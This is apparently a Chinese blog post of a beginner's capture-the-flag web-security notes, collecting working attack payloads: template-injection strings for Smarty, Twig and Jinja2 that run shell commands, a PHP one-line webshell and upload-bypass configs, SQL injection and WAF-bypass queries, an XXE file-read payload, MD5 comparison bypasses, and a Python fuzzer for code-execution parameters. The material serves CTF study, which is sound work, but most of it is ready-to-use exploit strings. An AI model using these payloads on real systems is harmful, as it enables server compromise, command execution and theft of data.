由于是之前刷题的整理,参照了很多大神的博客,由于过于零碎,没能记录下各位大神的文章出处(以后会提高版权意识的),如有侵权,私聊补加出处或者删文章。
博主是入门半年的萌新,文章不可避免会有很多错误,还请大家指正。
不是很了解格式问题,我的主页里上传了markdown文件,需要的也可以自行下载(免费下载),观感更好一点
### **PHP**
var_dump( ) 以列的形式展开数据,方便查看
scandir( ) 扫描某一文件夹目录
file_get_contents( ) 读取文件,拼接用'.' 如num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
base_convert() 函数 在任意进制之间转换数字,返回一个字符串
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
readfile() 函数读取文件
localeconv()函数返回一包含本地数字及货币格式信息的数组
```
配套使用
利用**scandir()**,传入'.'显示当前所有目录,即scandir('.')
但 '.'被不符合正则匹配的规则
然后利用**localeconv()**函数返回一包含本地数字及货币格式信息的数组(其数组的第一个值就是.)
利用指针指向数组的第一个值
**`current()`** 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
**`pos()`** 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。
**scandir(localeconv(current()));**
**`next()`** 函数将内部指针指向数组中的下一个元素,并输出。返回的是数组具体的值,不能嵌套。
**`array_reverse()`** 函数返回翻转顺序的数组。
```
exit()函数在退出的同时会返回输出变量
preg_replace()正则匹配,转译
处理172.17.0.2' -v -d a=1时
escapeshellarg() ->'172.17.0.2'\'' -v -d a=1'
escapeshellcmd() ->'172.17.0.2'\\'' -v -d a=1\ '
->为引用类,=>为数组赋值
#### 弱等于与强等于
$key == $str进行数据转换,如0dff字符串被强制转换为了整形0
$key === $str 要求为同样的数据
#### MD5强相等而原值不相等
if (md5($id) === md5($gg) && $id !== $gg)
原理:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”**0E**”开头的,那么PHP将会认为他们相同,都是**0**。
利用数组绕过
id[]=1
gg[]=2
#### MD5相同的值
```
->QNKCDZO
0e830400451993494058024219903391
->s878926199a
0e545993274517709034328855841020
->s155964671a
0e342768416822451524974117254469
->s214587387a
0e848240448830537924465865611904
->s214587387a
0e848240448830537924465865611904
->s878926199a
0e545993274517709034328855841020
->s1091221200a
0e940624217856561557816327384675
因为0e开头是0的多少次方都为0,所以其md5值都相同
```
#### MD5强碰撞
```php
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
```
```
a = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b = %4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
```
#### $md5==md5($md5)
md5(0e215962017,32) = 0e291242476940776845150308577824
0exxxx都为0
所以可以md5=0e215962017
### 模板注入
X-Forward-For:{7 * 7} 回显49为Smarty模板注入
X-Forward-For:{system('pwd')} 在{}中执行命令
user={{7*'7'}} 回显49 ==>Twig 若回显7777777 ==> Jinja2
常用利用方式
Twig
```
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
```
Smarty
```
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if system('cat /flag')}{/if}
// another
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
```
Jinja2
```
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('<command>').read()") }}{% endif %}{% endfor %}
```
Flask
```
app.config['FLAG'] = os.environ.pop('FLAG') 是可以读取配置的
{{config}}应该是可以查看app.config的内容
/shrine/{{url_for.__globals__}}
/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'.config]}}
```
### 文件上传
#### 常用后缀
.phtml
#### 一句话木马
<?php @eval($_POST['SHELL']);?>
#### nmap执行
?host=' <?php @eval($_POST("shell");?)> -oG shell.php '
#### 解析绕过
先利用报错来查看中间件为什么
nginx -> user.ini
apache -> .htaccess
两种方式
两种文件不要用记事本写!
htaccess:
```
<FilesMatch "test.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
```
or
```.htaccess
<FilesMatch "test.jpg">
Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->
Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->
</FilesMatch>
```
ini:
```ini
GIF89a
auto_append_file=shell1.jpg
```
<script language="php">system('cat /flag');</script>
### 目录扫描
index.php.bat
user.php.bak
phpmyadmin
robots.txt
.git源码泄露,用GitHack下载源码
python2 GitHack.py http://XXX.com
/www.tar.gz
www.zip
### 网页请求头
referer:www.baidu.com表示网页自百度而来
User-Agent: firefox 表示代理浏览器为火狐
X-Forwarded-For: 表示用户IP
### 代码审计
#### 伪协议读取
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
file=php://filter/read=convert.base64-encode/resource=useless.php
#### 伪协议写入
text=data://text/plain;base64,xxx(为相对应的base64编码)
?text=data://text/plain,I have a dream
#### 其他
$$x = $$y
### 反序列化
1. 构造对应的类
```
class Flag{ //flag.php
public $file=flag.php;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
```
2. 实例化
$a = new Flag();
3. 赋值序列化
$a->file="flag.php";
echo serialize($a);
4. 利用反序列化时注意前边就执行网页,而不是读取源代码了
```php
<?php
class FileHandler{
protected $op = 2;
protected $filename = "php://filter/read=convert.base64-encode/resource=http:\\799e1c75-aa7f-4330-8a8f-d26a79d3d62d.node3.buuoj.cn\\flag.php";
protected $content;
}
$a = new FileHandler();
$b = serialize($a);
echo($b);
?>
```
产生乱码是因为使用了protected,可以将其改为public
### SQL注入
#### 常用语句
1' order by 1,2,3,4,5%23 -->爆字段
1' union select * from a%23 -->回显xxx.a不存在,也就是说database为xxx
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="xxx"%23 -->爆表(字段为3,xxx为数据库名)
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = "xxxx"%23 -->爆列(xxxx为爆表中得到的表名)
1' union select 1,2,group_concat(id,username,password) from xxx%23 -->查看具体内容
xxx为表名,也可以用“数据名.列名”来表示
在联合查询并不存在的数据时,联合查询会构造一个虚拟的数据
() 代替空格, like代替等号
注意读取不全时,使用left,middle,right分段读取
#### 报错注入
注入的思路是一样的,知识利用了三个注入函数而已
floor extractvalue xmlupdate
1'^extractvalue(1,concat(0x7e,(select**(**database()**)**)))%23
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
1'^extractvalue(1,concat(0x7e,(select(left((password),30))from(geek.H4rDsq1))))%23
#### 万能密码
1' or 1=1#跳过判断
#### 堆叠注入
分号相隔,命令依次执行
如1;show databases;
1;show tables;
*,1代表当前数组的第二个值
#### Oracle与Mysql
Oracle支持
select $_GET['query'] || flag from flag
这样的拼接方式
此处的||不是或的意思,是用来拼接字符串
如果是mysql则为
1;set sql_mod=PIPES_AS_CONCAT;select 1
#### handler绕过
handler xxx open打开表
handler xxx read 读
handler xxx close 关闭
比如
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
其中first表示读取第一个字段
#### 其他绕过
##### union select
hpp参数污染绕过?no=-1 (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4#
内联注释绕过?no=-1 union/*!/*!50000select 1,2,3,4*/#
内联注释绕过?no=-1 union/*!/**/%0aselect*/ 1,2,3,4#(%0a为换行符)
内联注释绕过?no=-1 UnIoN/**/SeLecT/**/1,2,3,4# (注意这里不是加粗,时/* * /xx/ * */)
详情见大佬blog:https://www.cnblogs.com/xinxin999/p/12521014.html
### session伪造
利用secret_key及开源项目解密
组成为 1x.2x.3x
1x为信息内容,2x为时间,3x为前两项结合的加密
只有3x与前面符合才能生成正确的session信息
### Fuzz渗透测试
目录穿越../
多线程测试脚本实例(涉及I/O操作的,多线程会快很多)
```python
import os #操纵文件目录
import requests #获取站点信息
import re #正则匹配
import threading #多线程
import time #运行时间
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/phpstudy_pro/WWW"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
```
### 其他
ffffllllaaaagggg可能提示目录穿越四级
? --> %3F --> %253F(二次url加密)
参数在我个人的认识里要么是文件包含,要么是涉及php强弱类型等,但这些一般都会给出源代码,这个题显然没有
那么还有一种可能就是sql注入
题目中填写注册信息中有类似于博客地址这类的可能为SSRF
XML实体注入
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123</password></user>
```
jsp架构中WEB-INF是其安全目录,客户端用户不可以直接访问
WEB-INF主要包含以下文件或目录: /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件 漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,通过反编译class文件,得到网站源码
Nginx配置文件信息
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
num要求num小于2000但num+1要大于2001
intval('2e4') = 2
'2e4'+1 = float(20001)
intval('2e4'+1) = 20001
you pass!
输入参数?num=2e4
cat -> more
空格 -> $IFS$9
cat -> tac
cat和tac两者正好相反,tac从最末一行开始显示文件,每行的字符顺序不变
### **常用字符转换**
#### Unicode转换
https://www.compart.com/en/unicode/
#### 数学运算
is_nan64 ==>_G
tan15 ==>ET
异或
1 ^ 1 = 0
0 ^ 0 = 0
1 ^ 0 = 1
#### url编码
```
%23 #
```
#### ASCII:
```
chr(9) tab空格
chr(10) 换行
chr(13) 回车
Chr(13)&chr(10) 回车换行
chr(32) 空格符
chr(34) 双引号
chr(39) 单引号
chr(33) !
chr(34) "
chr(35) #
chr(36) $
chr(37) %
chr(38) &
chr(39) '
chr(40) (
chr(41) )
chr(42) *
chr(43) +
chr(44) ,
chr(45) -
chr(46) .
chr(47) /
Chr(48) 0
Chr(49) 1
Chr(50) 2
Chr(51) 3
Chr(52) 4
Chr(53) 5
Chr(54) 6
Chr(55) 7
Chr(56) 8
Chr(57) 9
chr(58)
chr(59) ;
chr(60) <
chr(61) =
chr(62) >
chr(63) ?
chr(64) @
chr(65) A
chr(66) B
chr(67) C
chr(68) D
chr(69) E
chr(70) F
chr(71) G
chr(72) H
chr(73) I
chr(74) J
chr(75) K
chr(76) L
chr(77) M
chr(78) N
chr(79) O
chr(80) P
chr(81) Q
chr(82) R
chr(83) S
chr(84) T
chr(85) U
chr(86) V
chr(87) W
chr(88) X
chr(89) Y
chr(90) Z
chr(91) [
chr(92) \
chr(93) ]
chr(94) ^
chr(95) _
chr(96) `
chr(97) a
chr(98) b
chr(99) c
chr(100) d
chr(101) e
chr(102) f
chr(103) g
chr(104) h
chr(105) i
chr(106) j
chr(107) k
chr(108) l
chr(109) m
chr(110) n
chr(111) o
chr(112) p
chr(113) q
chr(114) r
chr(115) s
chr(116) t
chr(117) u
chr(118) v
chr(119) w
chr(120) x
chr(121) y
chr(122) z
chr(123) {
chr(124) |
chr(125) }
chr(126) ~
chr(127)
chr(128)
chr(153)™
chr(169) ©
chr(174) ®
```